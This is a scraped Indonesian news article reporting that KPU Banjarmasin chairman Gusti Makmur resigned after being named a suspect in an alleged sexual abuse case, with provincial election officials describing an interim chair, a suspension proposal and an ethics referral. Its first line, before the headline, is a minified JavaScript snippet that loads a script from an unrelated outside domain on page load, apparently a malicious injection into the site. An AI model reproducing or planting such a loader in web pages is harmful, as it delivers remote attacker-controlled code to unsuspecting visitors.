(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Berstatus Tersangka, Akhirnya Gusti Makmur Mundur dari KPU Banjarmasin


BANJARMASIN, Di tengah bergulirnya kasus dugaan pencabulan, Ketua KPU Banjarmasin Gusti Makmur akhirnya mengundurkan diri. Pengunduran diri tersebut disampaikan secara tertulis pada jajaran komisioner KPU Banjarmasin, pada Senin (27/1) saat rapat pleno. Sebagai pengganti Pelaksana Tugas (Plt) Ketua, ditunjuk Rahmiati Wahdah yang sebelumnya sempat menjabat posisi tersebut beberapa hari.

“Kemarin ditetapkannya dan ibu Rahmi yang ditunjuk Plt Ketua KPU Banjarmasin,” ujar Ketua KPU Kalsel, Sarmuji di Kantor KPU Provinsi Kalsel, Selasa (28/1/2020).

Kendati demikian, KPU Provinsi Kalsel masih meminta berita acara yang dikeluarkan KPU Kota Banjarmasin perihal penetapan Ketua definitif penyelenggara pemilu tersebut. Tercatat, ada empat nama komisioner yang tertinggal, yakni Khairun Nizan, Heri Wijaya, Syafruddin Akbar dan Rahmiyati Wahdah. “Kemungkinan besar Ibu Rahmi lagi yang menjabat Ketua definitif,” tambahnya.

Sarmuji menambahkan, pada Rabu (29/1/2020), beberapa komisioner KPU Provinsi Kalsel menyampaikan usulan pemberhentian sementara keanggotaan Gusti Makmur ke KPU RI dan Dewan Kehormatan Penyelanggara Pemilu (DKPP). Di mana, keputusan akhir apakah Gusti Makmur diberhentikan sementara atau permanen.

Sarmuji pun memastikan, akan ada kemungkinan adanya Pengganti Antar Waktu (PAW) guna memperkuat kesiapan pelaksanaan penyelenggara pemilu di KPU Kota Banjarmasin. Di mana, sejumlah nama yang gugur pada terpilih dalam 10 besar tersebut salah satunya kembali ditarik kembali.

Namun, mereka harus memenuhi beberapa syarat seperti tidak dalam kepengurusan partai politik maupun tanggapan masyarakat. “PAW itu wajib dan untuk melengkapi jumlah komisioner KPU lima orang karena aturnya sudah jelas,” tegasnya.

Sebelumnya, Komisioner KPU Provinsi Kalsel Divisi Hukum Nur Zazin menjabarkan, pada prinsipnya proses hukum yang menjerat Gusti Makmur harus tetap berjalan. Pihaknya di KPU Provinsi Kalsel akan mengusulkan terkait etik keanggotaan komisioner KPU. “Sehingga kami memutuskan untuk mengusulkan pemberhentian sementara sebagai Ketua KPU yang akan kita sampaikan ke KPU RI dan DKPP. Sifatnya segera,” kata Nur Zazin.

Meski tersisa 4 komisioner, Nur Zazin menjamin komisioner KPU Kota Banjarmasin tetap bisa bekerja sebagaimana mestinya. Selain itu, komisioner KPU Kota Banjarmasin juga menyerahkan surat pengunduran diri Gusti Makmur sebagai Ketua KPU Kota Banjarmasin. Lalu, bagaimana untuk pengusulan ketua definitif? “Kami usulkan ke KPU RI,” tegas Nur Zazin.

Komisioner KPU Provinsi Kalsel lainnya, Edy Ariansyah memaparkan, pihaknya telah melakukan klarifikasi, penelusuran dan pengumpulan data terkait kasus ini. Hasilnya, telah disepakati pada rapat pleno siang ini.

“Pada intinya kita sampaikan hasil ini ke KPU RI, dan kita ambil keputusan sementara untuk pemberhentian sementara kepada KPU RI. Karena kewenangan pengangkatan dan pemberhentian itu berada di KPU RI,” kata Edy.

Soal laporan KPU Provinsi Kalsel ke DKPP terkait dengan kode etik, menurut Edy, di pasal 15 huruf (a), Gusti Makmur diduga tidak menjaga kehormatan lembaga penyelenggara pemilu.

Lalu, bagaimana kinerja KPU Kota Banjarmasin tanpa kepemimpinan Gusti Makmur? Edy mengakui KPU Kalsel akan melakukan monitoring kinerja komisioner KPU Kota Banjarmasin selama proses ini berlangsung.

“Jika dipandang perlu diperlukan untuk melakukan pendampingan setiap tahapan sampai ada keputusan yang tetap terhadap yang bersangkutan. Respon ini dilakukan oleh KPU Provinsi Kalsel sesuai pasal 82 di mana kita merespon informasi, keluhan atau aspirasi yang berkembang di media massa, untuk menciptakan kondisi yang kondusif,” jelas Edy.

Nantinya, DKPP lah yang memutuskan sesuai kewenangannya. Menurut Edy, KPU Provinsi Kalsel hanya sebatas dugaan melanggar kode etik. Lalu, bagaimana penunjukan pelaksana tugas? “Plt nanti diputuskan melalui rapat pleno KPU Kota Banjarmasin, menunjuk pelaksana tugas selama yang bersangkutan berhalangan. Dan segala keputusan tetap di tangan KPU Kota Banjarmasin terkait dengan penunjukan ketua ataupun plt,” kata Edy yang enggan menyebut namanya. (Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Chell


Desy Arfianty

Recent Posts

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

1 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

2 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

4 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

6 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

7 jam ago

Waket I DPRD Kapuas Apresiasi Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Ketua I DPRD Kabupaten Kapuas Yohanes sangat mengapresiasi kegiatan pawai… Read More

7 jam ago

This website uses cookies.